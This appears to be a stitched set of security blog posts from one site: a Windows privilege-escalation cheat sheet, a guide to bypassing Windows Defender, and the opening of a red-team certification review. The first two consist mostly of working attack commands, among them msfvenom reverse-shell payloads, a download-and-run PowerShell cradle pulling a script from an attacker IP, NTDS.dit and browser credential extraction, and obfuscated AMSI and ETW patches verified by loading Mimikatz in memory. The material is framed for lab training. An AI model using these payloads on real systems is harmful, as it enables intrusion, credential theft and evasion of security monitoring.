So basically, we need full access to the Startup folder. Then by dropping our malicious executable file, we will gain administrator access.

Detection

Windows VM

  1. Open command prompt and type:
    1
    +
    C:\Temp> icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
    +

    image

  2. From the output notice that the "BUILTIN\Users" group has full access '(F)' to the directory.

Exploitation

Kali VM

  1. Start a netcat listener
    1
    +
    $ sudo nc -nvlp 53
    +
  2. Open an additional command prompt and type:
    1
    +
    $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53  -f exe -o y.exe
    +
  3. Copy the generated file, y.exe, to the Windows VM.

Windows VM

  1. Place y.exe in "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup".

Kali VM

  1. Wait for a reverse shell on your kali machine.

DLL Hijacking

Methodology

Windows applications usually load DLL files when started. It may happen that a DLL file does not exist and the application is unable to load it. Nevertheless, an application will continue to execute as long as the missing DLL is not needed.
In case the application uses a relative and not an absolute file path, Windows searches for the file in the following directories:

  • The directory from which the application is loaded
  • C:\Windows\System32
  • C:\Windows\System
  • C:\Windows
  • The current working directory
  • Directories in the system PATH environment variable
  • Directories in the user PATH environment variable

Steps taken to perform DLL hijacking are outlined below.

  1. Identify vulnerable application and location
  2. Identify applications PID
  3. Identify vulnerable DLLs that can be hijacked
  4. Use MSFVenom or other payload creation tools to create a malicious DLL
  5. Replace the original DLL with the malicious DLL
  6. Profit

Detection

Windows VM (RDP is required)

  1. Transfer Procmon.exe on the Windows VM
  2. Right click on Procmon.exe and select 'Run as administrator' from the menu.
  3. In procmon, select "filter". From the left-most drop down menu, select 'Process Name'.
  4. In the input box on the same line type: dllhijackservice.exe
  5. Make sure the line reads “Process Name is dllhijackservice.exe then Include” and click on the 'Add' button, then 'Apply' and lastly on ‘OK’.
  6. Next, select from the left-most drop down menu 'Result'.
  7. In the input box on the same line type: NAME NOT FOUND.
  8. Make sure the line reads “Result is NAME NOT FOUND then Include” and click on the 'Add' button, then 'Apply' and lastly on ‘OK’.

image image

  1. Open command prompt and type:
    1
    +
    C:\Temp> sc start dllsvc
    +

    image

  2. Scroll to the bottom of the window. One of the highlighted results shows that the service tried to execute 'C:\Temp\hijackme.dll' yet it could not do that as the file was not found. Note that 'C:\Temp' is a writable location. image

Exploitation

Kali VM

  1. Start a netcat listener
    1
    +
    $ sudo nc -nvlp 53
    +
  2. Open an additional command prompt and type:
    1
    +
    $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f dll -o hijackme.dll
    +
  3. Copy the generated file hijackme.dll, to the Windows VM.

Windows VM

  1. Place hijackme.dll in 'C:\Temp'
  2. Open command prompt and type:
    1
    +
    C:\Temp> sc stop dllsvc & sc start dllsvc
    +

Kali VM

  1. Wait for a reverse shell on your kali machine.

BinPath

Methodology

BinPath is a type of Service Escalation. We can gain administrator privileges if we write access and restart access on any service. We can abuse this function by injecting our malicious BinPath to get executed once restarted.

Detection

Using Script on Windows VM

  1. Run Powerup.ps1 and Run Invoke-AllChecks (check the service permissions field)
1
+2
+3
+
C:\Temp> powershell -ep bypass
+PS C:\Temp>. .\PowerUp.sp1
+PS C:\Temp> Invoke-AllChecks
+

image

Checking manually on Windows VM

  1. Run AccessChk64.exe
1
+2
+3
+4
+5
+6
+7
+8
+
C:\Temp> accesschk64.exe -uwcv Everyone *
+
+# Switch meaning
+# w --> only show items that have write access
+# v --> verbose; dispaly as many details as possible
+# u --> ignore the errors
+# c --> displays service name of the following
+# Everyone --> means everyone as a group who hass access
+

image

  1. Using AccessChk64.exe query the service found
    1
    +
    C:\Temp> accesschk64.exe -uwcv daclsvc
    +

    image

  2. Find path of the bin file
    1
    +
    C:\Temp> sc qc daclsvc
    +

image

Exploitation

Kali VM

  1. Start a netcat listener
    1
    +
    $ sudo nc -nvlp 53
    +
  2. Open an additional command prompt and type:
    1
    +
    $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o reverse.exe
    +
  3. Copy the generated file reverse.exe, to the Windows VM.

Windows VM

  1. Place reverse.exe in 'C:\Temp'
  2. In command prompt type:
    1
    +
    C:\Temp> sc config daclsvc binpath= "C:\Temp\reverse.exe"
    +
  3. In command prompt type:
    1
    +
    C:\Temp> sc start daclsvc
    +

Kali VM

  1. Wait for a reverse shell on your kali machine.

Unquoted Service Paths

Methodology

When a service is created whose executable path contains spaces and isn’t enclosed within quotes, leads to a vulnerability known as Unquoted Service Path which allows a user to gain SYSTEM privileges (only if the vulnerable service is running with SYSTEM privilege).

In Windows, if the service is not enclosed within quotes and is having spaces, it would handle the space as a break and pass the rest of the service path as an argument.

Detection

  1. Run Powerup.ps1 and Run Invoke-AllChecks (check the unquoted service field)
    1
    +2
    +3
    +
    C:\Temp> powershell -ep bypass
    +PS C:\Temp>. .\PowerUp.sp1
    +PS C:\Temp> Invoke-AllChecks
    +

image

Exploitation

Kali VM

  1. Start a netcat listener
    1
    +
    $ sudo nc -nvlp 53
    +
  2. Open an additional command prompt and type:
    1
    +
    $ msfvenom -p windows/x64/shell_reverse_tcp LHOST=[tun0 IP] LPORT=53 -f exe -o common.exe
    +
  3. Transfer the generated file, common.exe, to the Windows VM.

Windows VM

  1. Place common.exe in 'C:\Program Files\Unquoted Path Service'.
  2. Open command prompt and type:
    1
    +2
    +3
    +
    C:\Temp> sc start unquotedsvc
    +# OR
    +C:\Temp> net start unquotedsvc
    +

Kali VM

  1. Wait for a reverse shell on your kali machine.

Juicy potato attack

Methodology

This privilege allows us to impersonate a token of a privileged account such as NT AUTHORITY\SYSTEM.

Detection

Windows VM

  1. We should have SeImpersonatePrivilege privileges enabled
    1
    +
    C:\Temp>whoami /priv
    +

    image

Exploitation

Kali VM

  1. Copy Invoke-PowerShellTcp.ps1 from nishang shells as shell.ps1
  2. Add the line at the bottom of shell.ps1
    1
    +
    Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.31 -Port 9999
    +
  3. Lets create a shell.bat file
    1
    +
    powershell -c iex(new-object net.webclient).downloadstring('http://10.10.14.31/shell.ps1')
    +
  4. Transfer shell.bat and juicypotato.exe on victim machine
    1
    +
    $ (new-object net.webclient).downloadfile('http://10.10.14.31/file', 'C:\temp\file')
    +
  5. Set a listener on port 9999
    1
    +
    $ sudo rlwrap nc -lnvp 9999
    +

Windows VM

  1. Run juicy potato
    1
    +
    $ ./jp.exe -p shell.bat -l 7777 -t *
    +
    • If this fail
    • Try with a different CLSID depending upon the system version and select the CLSID which supports NT AUTHORITY\SYSTEM
    • Link –> http://ohpe.it/juicy-potato/CLSID
  2. Lets run again
    1
    +
    $ ./jp.exe -p shell.bat -l 7777 -t * -c "{e60687f7-01a1-40aa-86ac-db1cbf673334}"
    +

Kali VM

  1. Wait for a reverse shell on your kali machine.

Hot Potato attack

Methodology

Hot Potato takes advantage of known issues in Windows to gain local privilege escalation in default configurations, namely NTLM relay (specifically HTTP->SMB relay) and NBNS spoofing.

Detection

Windows VM

  1. We should have SeImpersonatePrivilege privileges enabled
    1
    +
    C:\Temp> whoami /priv
    +

    image

Exploitation

I will be demonstrating a simple exploitation technique by adding a user to the local administrators group using Tater.ps1

Windows VM

  1. Enter the following to gain administrator access
    1
    +2
    +3
    +
    C:\Temp> powershell.exe -nop -ep bypass
    +PS C:\Temp> Import-Module C:\Temp\Tater.ps1
    +PS C:\Temp> Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add"
    +

Kernel Exploits

Searcing exploits

This method is handy for checking any existing exploits available for the machine by looking at the system information. From the results of windows-exploit-suggester.py we can select one of the kernel exploits and try to escalate privileges.

Windows VM

  1. Run systeminfo and save it into a text file
1
+
C:\Temp> systeminfo
+

Kali VM

  1. Pass the file thorugh windows-exploit-suggester.py
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+
$ ./windows-exploit-suggester.py --update
+
+[*] initiating...
+[*] successfully requested base url
+[*] scraped ms download url
+[+] writing to file 2020-06-06-mssb.xlsx
+[*] done
+
+$ ./windows-exploit-suggester.py --database 2020-06-06-mssb.xlsx --systeminfo systeminfo.txt 
+
+Exploits will be displayed here...
+

Password Mining Escalation - Firefox

Detection

  1. winpeas
  2. Path location :
    1
    +
    C:\Temp> C:\Users\usernamehere\AppData\Roaming\Mozilla\Firefox\Profiles
    +

Requirements

Copy the following files from the Windows VM to Kali VM:

  1. key4.db
  2. logins.json
  3. addons.json
  4. cert9.db

Exploitation

  1. Download the following
    1
    +
    $ git clone https://github.com/lclevy/firepwd.git
    +
  2. Place the required files in the same directory and run the python file for the creds
1
+2
+3
+4
+5
+6
+7
+
$ python3 firepwd.py
+ 
+globalSalt: b'2d45b7ac4e42209a23235ecf825c018e0382291d'
+<SNIP>
+clearText b'86a15457f119f862f8296e4f2f6b97d9b6b6e9cb7a3204760808080808080808'
+decrypting login/password pairs
+   https://creds.com:b'mayor',b'<<HIDDEN>>'
+

Runas-Savdcreds

Methodology

We can check if there are any pre-existing credentials of the administrator on the system. We can abuse this by using the loaded creds for privilege escalation. In the below example, I will demonstrate how to read files through the saved creds.

Detection

  1. winpeas
  2. Checking for existence
1
+2
+3
+4
+5
+
$ cmdkey /list
+Currently stored credentials:
+ Target: Domain:interactive=WORKGROUP\Administrator
+ Type: Domain Password
+ User: WORKGROUP\Administrator
+

Exploitation

  1. Reading root flag
1
+
C:\Temp> C:\Windows\System32\runas.exe /user:ACCESS\Administrator /savecred "C:\Windows\System32\cmd.exe /c TYPE c:\Users\Administrator\Desktop\root.txt > C:\Users\security\root1.txt"
+

Backup Operators (Disk shadow + Robocopy)

Methodology

If the user is a part of the Backup Operator group, the user has the ability to create system backups and could be used to obtain copies of sensitive system files that can be used to retrieve passwords such as the SAM and SYSTEM Registry hives and the NTDS.dit Active Directory database file.

Detection

  1. The user should be a part of the Backup Operators group and should have SeBackupPrivilege and SeRestorePrivilege Enabled
1
+2
+
C:\Temp> net user unsername-here
+C:\Temp> whoami /all
+

Exploitation

Kali VM

  1. Create this script and transfer it to Windows VM
1
+2
+3
+4
+5
+6
+7
+8
+9
+
set verbose onX
+set metadata C:\Windows\Temp\meta.cabX
+set context clientaccessibleX
+set context persistentX
+begin backupX
+add volume C: alias cdriveX
+createX
+expose %cdrive% E:X
+end backupX
+

Windows VM

  1. Pass the script to diskshadow unility to create the shadow copy
    1
    +
    PS C:\Temp> diskshadow /s script.txt
    +
  2. Now copy the NTDS file using Robocopy to the Temp file we created in the C: drive
    1
    +
    PS C:\Temp> robocopy /b E:\Windows\ntds . ntds.dit
    +
  3. Next we get the system registry hive that contains the key needed to decrypt the NTDS file with reg save command.
    1
    +
    PS C:\Temp> reg save hklm\system c:\temp\system.hive
    +

Dumping NTML Hashes

  1. We can use secretsdump.py do decrypt the DA creds on Kali VM
1
+
$ secretsdump.py -ntds ntds.dit -system system.hive LOCAL | tee hash-dump
+

Abusing GPO permissions

Exploitation

We Abusing GPO by adding the user to the local Administrators group leveraging a tool called SharpGPOAbuse.

Source : https://github.com/FSecureLABS/SharpGPOAbuse

Pre compiled binaries : https://github.com/Flangvik/SharpCollection

  • Add user to local administrator groups
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
PS C:\Enterprise-Share> .\SharpGPOAbuse.exe --AddComputerTask --TaskName "Debug" --Author vulnnet\administrator --Command "cmd.exe" --Arguments "/c net localgroup administrators enterprise-security /add" --GPOName "SECURITY-POL-VN"
+[+] Domain = vulnnet.local
+[+] Domain Controller = VULNNET-BC3TCK1SHNQ.vulnnet.local
+[+] Distinguished Name = CN=Policies,CN=System,DC=vulnnet,DC=local
+[+] GUID of "SECURITY-POL-VN" is: {31B2F340-016D-11D2-945F-00C04FB984F9}
+[+] Creating file \\vulnnet.local\SysVol\vulnnet.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
+[+] versionNumber attribute changed successfully
+[+] The version number in GPT.ini was increased successfully.
+[+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
+[+] Done!
+
  • Force Update the system
1
+2
+3
+4
+
PS C:\Enterprise-Share> gpupdate /force
+Updating policy...
+Computer Policy update has completed successfully.
+User Policy update has completed successfully.
+
  • Now review our group memberships after we forced the policies to be updated on the target machine.
1
+2
+
PS C:\Enterprise-Share> net user enterprise-security
+# Will be added to the administrators group
+

Export LAPS Passwords

Methodology

The following script assumes that LAPS has already been configured into your environment & that your user account already has access to view LAPS passwords using the Fat Client UI or from Active Directory Users & Computers.

This script loads the Active Directory module, finds the LAPS password fields, and then saves them to a CSV with the date appended to the file name. The only thing you’d need to change is the file path.

Exploitation

  1. Just Open Powershell and paste this script
    1
    +2
    +3
    +
    $Computers = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
    +$Computers | Sort-Object ms-Mcs-AdmPwdExpirationTime | Format-Table -AutoSize Name, DnsHostName, ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
    +$computers | Export-Csv -path c:\temp\"LAPS-$((Get-Date).ToString("MM-dd-yyyy")).csv" -NoTypeInformation
    +
  2. Then, save it to the location of your choice. For this example, I’m saving to
    1
    +
    C:\Scripts\LAPSexport.ps1
    +
  3. Then, run the script to verify it works correctly. If it does, you should automate this procedure by creating a Scheduled Task.

References

  1. https://tryhackme.com/room/windowsprivescarena
  2. https://docs.microsoft.com/en-us/

If you find my articles interesting, you can buy me a coffee

This post is licensed under CC BY 4.0 by the author.
diff --git a/posts/Bypassing-Windows-Defender/index.html b/posts/Bypassing-Windows-Defender/index.html new file mode 100644 index 00000000..eb868c21 --- /dev/null +++ b/posts/Bypassing-Windows-Defender/index.html @@ -0,0 +1,89 @@ + Bypassing Windows Defender | 0xStarlight
Home Bypassing Windows Defender
Post
Cancel

Bypassing Windows Defender

image

Introduction

Greetings, everyone 👋. In this brief article, I will outline a manual obfuscation technique for bypassing Windows Defender. Specifically, I will cover how to patch the Antimalware Scan Interface and disable Event Tracing for Windows to evade detection. Additionally, I will demonstrate how to combine both methods for maximum effectiveness and provide guidance on using this approach.

Throughout the article, I will use AmsiTrigger and Invoke-obfuscation. These tools will help to identify the malicious scripts and help obfuscate them.


Bypassing AV Signatures PowerShell

Windows Defender Antimalware Scan Interface (AMSI) is a security feature that is built into Windows 10 and Windows Server 2016 and later versions. AMSI is designed to provide enhanced malware protection by allowing antivirus and other security solutions to scan script-based attacks and other suspicious code before they execute on a system.

By disabling or AMSI, attackers can download malicious scripts in memory on the systems.

Original Payload for AMSI bypass

1
+
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
+

Methodology - Manual

  1. Scan using AMSITrigger
  2. Modify the detected code snippet
    1. Base64
    2. Hex
    3. Concat
    4. Reverse String
  3. Rescan using AMSITrigger or Download a test ps1 script in memory
  4. Repeat the steps 2 & 3 till we get a result as “AMSI_RESULT_NOT_DETECTED” or “Blank”

Understanding the command

This command is used to modify the behavior of the Anti-Malware Scan Interface (AMSI) in PowerShell. Specifically, it sets a private, static field within the System.Management.Automation.AmsiUtils class called “amsiInitFailed” to true, which indicates that the initialization of AMSI has failed.

Here is a breakdown of the command and what each part does:

  1. [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils'): This first part of the command uses the [Ref] type accelerator to get a reference to the System.Management.Automation assembly and then uses the GetType() method to get a reference to the System.Management.Automation.AmsiUtils class.
    1. System.Management.Automation.AmsiUtils is a part of the PowerShell scripting language and is used to interact with the Anti-Malware Scan Interface (AMSI) on Windows operating systems. AMSI is a security feature that allows software to integrate with antivirus and other security products to scan and detect malicious content in scripts and other files.
    2. While System.Management.Automation.AmsiUtils itself is not inherently malicious, it can be flagged as such if it is being used in a context that appears suspicious to antivirus or other security software. For example, malware authors may use PowerShell scripts that leverage AMSI to bypass traditional antivirus detection and execute malicious code on a system.
    3. Thus, System.Management.Automation.AmsiUtils may be flagged as malicious if it is being used in a context that appears to be part of a malware attack or if it is being used in a way that violates security policies on a system.
  2. .GetField('amsiInitFailed','NonPublic,Static'): This part of the command uses the GetField() method to get a reference to the private, static field within the System.Management.Automation.AmsiUtils class called "amsiInitFailed". The 'NonPublic,Static' argument specifies that the method should retrieve a non-public and static field.

  3. .SetValue($null,$true): Finally, this part of the command uses the SetValue() method to set the value of the "amsiInitFailed" field to true. The $null argument specifies that we are not setting the value on an instance of the object, and the $true argument is the new value we are setting the field to.

The reason for setting "amsiInitFailed" to true is to bypass AMSI detection, which may be used by antivirus or other security software to detect and block potentially malicious PowerShell commands or scripts. By indicating that the initialization of AMSI has failed, this command prevents AMSI from running and potentially interfering with the execution of PowerShell commands or scripts. It is worth noting, however, that bypassing AMSI can also make it easier for malicious actors to execute code on a system undetected, so caution should be exercised when using this command in practice.

Running the command

Lets open Powershell and execute the original payload to patch AMSI and check the result.

1
+
PS:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
+

image

  • As we can see, Windows has identified the command as malicious and blocked it from being executed.
  • Now we need to identify what part of the payload is getting detected by Defender and triggering it to be marked as malicious.

AMSI Trigger

  • With the help of AMSITrigger.exe, we can identify the malicious string in the payload.
1
+
PS C:\AMSITrigger>  .\AmsiTrigger_x64.exe
+

image

  • We can save our payload in a .ps1 file, and with the -i flag, we can supply the malicious ps1 file
1
+
PS C:\AMSITrigger>  .\AmsiTrigger_x64.exe -i test.ps1
+

image

From the output results we can see that it flagged two strings as malicious

  1. “A m s i U t i l s”
  2. “a m s i I n i t F a i l e d”

Patching AMSI

After analyzing the strings that caused Windows Defender to block our script, we can now take steps to bypass this security mechanism. Several techniques can be used to evade detection, with one of the simplest and most effective being to encode or encrypt the payload.

We can do it in the following ways

  1. Base64 Encoding
  2. Hex Encoding
  3. Reversing The String
  4. Concatenation

Now lets try to modify our original payload using just Base64 encoding.

Base64 Encoding

Base64 Encoding is a widely used encoding technique that converts binary data into a string of ASCII characters. This method is easy to implement and can be decoded with simple tools.

  • A simple Base64 encoding and decoding snippet in PowerShell looks like this :
1
+2
+3
+4
+
# Encoding Payload
+PS:\> $Text = 'Hello World';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText
+# Decoding Paylaod
+PS:\> $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('SABlAGwAbABvACAAVwBvAHIAbABkAA==')))
+

image

  • Now we can do the same for AmsiUtils and amsiInitFailed
1
+
PS:\> $Text = 'AmsiUtils';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText
+

image

  • Windows Defender could still detect AmsiUtils encoded in base64. We can divide this into two pieces and concat them together to avoid getting detected.
1
+2
+3
+4
+5
+6
+
# Encoding Payload
+PS:\> $Text = 'Amsi';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText
+PS:\> $Text = 'Utils';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText
+
+# Decoding Paylaod
+PS:\> $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('QQBtAHMAaQA=')))+$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('VQB0AGkAbABzAA==')))
+

image

  • We can see this way we have encoded AmsiUtils without triggering Defender
  • Lets try the same for amsiInitFailed by splitting it into 3 parts
    1. amsi
    2. Init
    3. Failed
1
+2
+3
+4
+5
+6
+7
+
# Encoding Payload
+PS:\> $Text = 'amsi';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText
+PS:\> $Text = 'Init';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText
+PS:\> $Text = 'Failed';$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text);$EncodedText=[Convert]::ToBase64String($Bytes);$EncodedText
+
+# Decoding Paylaod
+PS:\> $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('YQBtAHMAaQA=')) + $([System.Text.Encoding]::Unicode.GetString($([System.Convert]::FromBase64String('SQBuAGkAdAA=')))) + $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('RgBhAGkAbABlAGQA'))))
+

image

  • As we can see, we have encoded amsiInitFailed also without triggering Defender.

Final Payload

Now that we crafted the final payload to Patch AMSI, let us look back at the original AMSI bypass code.

1
+
PS:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
+
  • All we need to do now is replace AmsiUtils and amsiInitFailed with the base64 encoded payload and concat the rest of the string.
1
+
PS:\> [Ref].Assembly.GetType($('System.Management.Automation.')+$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('QQBtAHMAaQA=')))+$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('VQB0AGkAbABzAA==')))).GetField($([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('YQBtAHMAaQA=')) + $([System.Text.Encoding]::Unicode.GetString($([System.Convert]::FromBase64String('SQBuAGkAdAA=')))) + $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('RgBhAGkAbABlAGQA')))),$('NonPublic,Static')).SetValue($null,$true)
+
  • For confirmation, we can download and execute Mimikatz.ps1 in the memory and check if its triggering Defender.
1
+
PS:\> IEX(iwr -uri https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 -UseBasicParsing)
+

image

As you can see, we successfully encoded the AMSI bypass payload in base64. Below I will give a demonstration on how to encode it in hex and use techniques like reverse string and concatenation

Concatenation

An easy was of bypassing “A m s i U t i l s” is by simply splitting it into two words and adding them together.

1
+2
+
PS:\> 'AmsiUtils'
+PS:\> 'Amsi' + 'Utils'
+

image

Hex Encoding

A simple Hex encoding and decoding snippet in PowerShell looks like this :

1
+2
+3
+4
+5
+6
+
# Encoding Payload
+PS:\> "Hello World" | Format-Hex
+
+# Decoding Payload
+PS:\> $r = '48 65 6C 6C 6F 20 57 6F 72 6C 64'.Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$s=$s+$_} 
+PS C:\> $s
+

image

Reverse String

The last technique is by reversing the string for obfuscating the payload.

1
+2
+3
+4
+5
+
# Encoding Payload
+PS:\> (([regex]::Matches("testing payload",'.','RightToLeft') | foreach {$_.value}) -join '')
+
+# Decoding Payload
+PS:\> (([regex]::Matches("daolyap gnitset",'.','RightToLeft') | foreach {$_.value}) -join '')
+

image

Final Payload - 2

We can also combine these techniques to create a more powerful and effective payload that can evade detection by Windows Defender. Using a combination of Base64 Encoding, Hex Encoding, Reversing The String, and Concatenation, we can create a highly obfuscated payload to bypass Windows Defender.

1
+
PS:\> $w = 'System.Manag';$r = '65 6d 65 6e 74 2e 41 75 74 6f 6d 61 74 69 6f 6e 2e'.Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$s=$s+$_};$c = 'Amsi'+'Utils';$assembly = [Ref].Assembly.GetType(('{0}{1}{2}' -f $w,$s,$c));$n = $([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('YQBtAA==')));$b = 'siIn';$k = (([regex]::Matches("deliaFti",'.','RightToLeft') | foreach {$_.value}) -join '');$field = $assembly.GetField(('{0}{1}{2}' -f $n,$b,$k),'NonPublic,Static');$field.SetValue($null,$true)
+

image

Patching Event Tracing for Windows

Event Tracing for Windows (ETW) is a powerful logging and tracing mechanism in the Windows operating system that allows developers, administrators, and analysts to monitor and diagnose system events in real time. It collects and analyses diagnostic and performance data from applications and services running on Windows. ETW records events generated by the operating system and applications, including information on processes, threads, disk I/O, network activity, and more.

By disabling or manipulating ETW, attackers can prevent security tools from logging their actions or tracking their movement within a system.

Original Payload to patch ETW

1
+
[Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
+

Understanding the command

This command is used to modify the behavior of the Event Tracing for Windows(ETW) in PowerShell. Specifically, it sets a private, static field within the System.Management.Automation.Tracing.PSEtwLogProvider class called "m_enabled" to true, 0 indicates that the initialization of ETW is disabled.

Here is a breakdown of the command and what each part does:

  1. [Reflection.Assembly]::LoadWithPartialName('System.Core') loads the System.Core assembly into memory.
  2. .GetType('System.Diagnostics.Eventing.EventProvider') retrieves the EventProvider type from the loaded assembly.
  3. .GetField('m_enabled','NonPublic,Instance') retrieves the m_enabled field of the EventProvider type, which determines whether event tracing is enabled for that provider.
  4. .SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0) sets the m_enabled field of the PowerShell ETW provider to 0 (disabled). This prevents PowerShell from logging events to the Windows Event Log or other ETW consumers.

Patching ETW

We have already learned how to patch PowerShell scripts manually. I will explain how to obfuscate Powershell using Invoke-Obfuscation for this example. I already have this setup on my Commando-VM.

  • First thing is that we can launch Invoke-Obfuscation

image

  • We can set our payload and use AES encryption to encrypt our payload.
1
+2
+3
+4
+
Invoke-Obfuscation> SET SCRIPT BLOCK [Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
+
+Invoke-Obfuscation> ENCODING
+Invoke-Obfuscation> ENCODING\5
+

image

  • The encrypted payload will be visible at the end of the screen.

image

  • Now we can execute the payload. Before doing that, we need to understand why we have encrypted the payload and what the payload does. First, lets directly execute the payload.

image

  • As we can see that Defender has detected our encrypted payload, this is because it’s encryption which will be decrypted and get executed. Hence will help in bypassing Static analysis only. We can better understand if we execute the command without executing it.

image

  • To circumvent this security measure, we can bypass AMSI and then execute the desired command.

image

  • It’s worth noting that while we can bypass AMSI and execute the raw payload to disable ETW, doing so may result in detecting and logging the attack in the PowerShell history file. As a result, it is recommended to use additional techniques such as encoding or obfuscation to evade detection and prevent attack logging.

image

Tools Used

  1. AmsiTrigger
  2. Invoke-obfuscation

If you find my articles interesting, you can buy me a coffee

This post is licensed under CC BY 4.0 by the author.
diff --git a/posts/CRTE-Exam-Review/index.html b/posts/CRTE-Exam-Review/index.html new file mode 100644 index 00000000..9e6fb842 --- /dev/null +++ b/posts/CRTE-Exam-Review/index.html @@ -0,0 +1 @@ + CRTE Exam Review | 0xStarlight
Home CRTE Exam Review
Post
Cancel

CRTE Exam Review

crte-header

Introduction

I am thrilled to announce that I have successfully passed the CRTE (Certified Red Team Expert) exam from Altered Security, and I am excited to share my journey and experience with all of you. This certification marks a significant milestone in my career as a cybersecurity professional, further building upon my earlier achievements of attaining the CRTP (Certified Red Team Professional) and the CRTO (Certified Red Team Operator) certifications.

Throughout my preparation and examination process, I encountered numerous challenges, gained invaluable insights, and developed a deeper understanding of the red teaming discipline. This blog aims to provide a comprehensive account of my experiences, shedding light on the preparation strategies, lab reviews, and the exam itself. Moreover, I will share tips and techniques that I found helpful in conquering the CRTE exam, offering guidance to those who aspire to follow a similar path.

Preparation

exam-prep

When preparing for the CRTE exam, it’s essential to establish a strong foundation in red teaming concepts and techniques. Red teaming involves simulating real-world attacks to identify vulnerabilities within an organization’s security infrastructure. To ensure a smoother transition into CRTE, I recommend completing the CRTP (Certified Red Team Professional) certification first.

The CRTP certification covers a wide range of essential topics that serve as the building blocks for CRTE. It delves into areas such as Active Directory (AD) enumeration, trust mapping, domain privilege escalation, Kerberos-based attacks, SQL server trusts, defences, and bypasses of defences. By acquiring a solid understanding of these fundamental concepts through the CRTP, you will be better equipped to tackle the more advanced content in CRTE.

Additionally, I had the opportunity to complete the CRTO (Certified Red Team Operator) certification, which focuses on conducting red team exams using the C2 framework “Cobalt Strike”. While I wouldn’t consider the CRTO a prerequisite for CRTE, it gave me valuable hands-on experience and a deeper understanding of red teaming methodologies. The CRTO exam-based approach, combined with using Cobalt Strike, enhanced my practical skills and complemented the theoretical knowledge gained from the CRTP.

Engaging in practical exercises related to Active Directory was beneficial for extra preparation.

  • HackTheBox : Easy-Medium Level Boxes
  • HackTheBox ProLabs : Rastalabs or Offshore
  • TCM Security : PEH Course

CRTE Lab

For the lab portion of the CRTE certification, you can choose between “On Demand” and “Online Bootcamp.”

Bootcamp

The “Bootcamp” option, is a 4-day workshop conducted weekly, with each session lasting approximately 3.5 hours. The course instructor covers the relevant concepts in these live sessions and demonstrates various objectives. The “Bootcamp” option is particularly beneficial for those who prefer a more guided approach and would like additional support throughout the lab exercises. However, having already solved Hack The Box Pro Labs, I felt confident that I could tackle the labs independently. Thus, I chose the “On Demand” option to proceed with my CRTE lab experience.

On Demand

The “On Demand” option grants you access to the lab environment for your choice, ranging from 30 to 90 days. Priced at $299 for the 30-day access, this option includes all the necessary tools and a lab PDF that is solved using PowerShell. Additionally, the lab is solved using the C2 framework “Covenant”. In the “On Demand” option, students are expected to work independently on the lab challenges. However, if you encounter any difficulties, you can seek assistance by contacting the support team via email or by engaging with fellow students in the dedicated Discord group.

LabDiagram

